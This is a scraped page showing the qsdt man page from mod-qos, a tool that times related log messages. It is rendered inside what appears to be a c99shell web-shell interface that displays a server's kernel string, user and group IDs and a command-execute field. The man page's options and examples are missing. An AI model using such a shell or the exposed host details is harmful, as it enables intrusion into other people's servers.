Software: Apache. PHP/8.3.27 uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364) Safe-mode: OFF (not secure) /usr/share/doc/libapache2-mod-qos/ drwxr-xr-x | |
| Viewing file: Select action/file-type: QSDTSection: qsdt man page (1)Updated: May 2019 Index Return to Main Contents NAMEqsdt calculates the elapsed time between two related log messages.SYNOPSISqsdt [-t <regex>] -i <regex> -s <regex> -e <regex> [-v] [<path>]DESCRIPTIONqsdt is a simple tool to search two different messages in a log file and calculates the elapsed time between these lines. The two log messages need a common identifier such an unique request id (UNIQUE_ID), a thread id, or a transaction code.OPTIONS
EXAMPLESample command line arguments:
NOTEThe four patterns (t,i,s,e) are concatenated into two search patterns:first (start): [t (HH:MM:SS)(SSS) ].*[i (id) ].*[s ] second (end): [t (HH:MM:SS)(SSS) ].*[i (id) ].*[e ] And the three sub-expression are used to extract the timestamp and the unique identifier that the start and end message have in common. This means that you could specify the sub-expression for the unique identifier in the start (-s) or end (-e) pattern alternatively, e.g. in case the identifier is at the end of the log line. SEE ALSOqsexec(1), qsfilter2(1), qsgeo(1), qsgrep(1), qshead(1), qslog(1), qslogger(1), qspng(1), qsre(1), qsrespeed(1), qsrotate(1), qssign(1), qstail(1)AUTHORPascal Buchbinder, http://mod-qos.sourceforge.net/
Index |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0155 ]-- |